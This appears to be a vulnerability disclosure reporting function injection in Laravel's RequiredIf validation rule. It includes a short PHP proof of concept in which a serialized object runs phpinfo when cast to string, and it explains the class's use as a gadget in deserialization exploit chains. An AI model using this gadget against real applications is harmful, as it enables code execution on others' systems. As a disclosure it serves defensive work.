✍️ Description

Function injection in Illuminate\Validation\Rules\RequiredIf can be exploited to generate gadget chains for deserialization vulnerabiltiies.

🕵️‍♂️ Proof of Concept

<?php
use Illuminate\Validation\Rules\RequiredIf;

require("vendor/autoload.php");

$gadget = serialize(new RequiredIf("phpinfo"));

echo unserialize($gadget); // exploitation

As soon as the object is casted to string, function phpinfo gets executed.

💥 Impact

This vulnerability is capable of calling callables and can be utilized in POP gadget chains when exploiting deserialization vulnerabilities.